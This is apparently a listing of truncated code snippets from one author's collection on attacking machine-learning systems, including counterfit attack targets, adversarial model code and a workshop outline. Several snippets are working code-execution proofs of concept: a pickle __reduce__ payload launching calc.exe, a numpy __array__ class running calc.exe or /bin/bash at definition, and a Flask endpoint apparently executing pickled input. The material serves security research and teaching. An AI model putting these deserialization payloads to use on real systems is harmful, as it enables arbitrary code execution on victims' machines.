moohax

%%javascript
requirejs.config({
    paths: { 
        'winnner': ['//cdn.jsdelivr.net/npm/canvas-confetti@1.5.1/dist/confetti.browser.min'], 
    },
});

confetti({
  particleCount: 300,
  startVelocity: 30,

moohax

# Requires fsspec. Sometimes installed, sometimes not.

# --
# Remote
# python -m http.server
#
# Serving HTTP on :: port 8000 (http://[::]:8000/)


import pandas as pd

moohax

# https://numpy.org/doc/stable/reference/generated/numpy.array.html
class ArrayExec:
    import os
    if os.name == 'nt':
        os.system("calc.exe")
    else:
        os.system("/bin/bash")

    def __array__(self):
        return 1

moohax

import tensorflow as tf #We need tensorflow 2.x
import numpy as np

#The hashlength in bits
hashLength = 256

def buildModel():
    #we can set the seed to simulate the fact that this network is known and doesn't change between runs
    #tf.random.set_seed(42)
    model = tf.keras.Sequential()

moohax

# Generated by counterfit #
import requests
import base64
from counterfit.core.targets import ArtTarget


class Twitter(ArtTarget):
    model_name = "twitter"

moohax

Workshop Commands and Functions

Gettings Started

Requirements

• An Internet Connection
• Docker
• VirusTotal Account (username and password)
• The following headers, which can be gathered by examining the headers in Burp or DevTools.
  • X-Recaptcha-Response

moohax

# Generated by counterfit #
# code modified from https://github.com/monoxgas/FlyingAFalseFlag/blob/256197b78a8140d15df6e18b3221b637b5c3490a/Addendum/addendum.py

import os
import re
import json
import time
import requests
import numpy as np
import tqdm

moohax

# Create a class - normally this is a machine learning model saved to disk
class MLModel():
    def __reduce__(self):
        import os
        execution = 'cmd.exe /c calc.exe'
        return (os.popen, (execution,))

# Serialize it.
import pickle
payload = pickle.dumps(MLModel())

moohax

import pickle
import base64
import requests
from flask import Flask, request

app = Flask(__name__)

## Start the server and go to 127.0.0.1:5000/exec ##

moohax

import keras
from keras import models
from keras import layers
from sklearn.preprocessing import StandardScaler, MinMaxScaler, LabelEncoder
import numpy as np
import keras.backend as K

# Main
np.random.seed(7)
network = models.Sequential()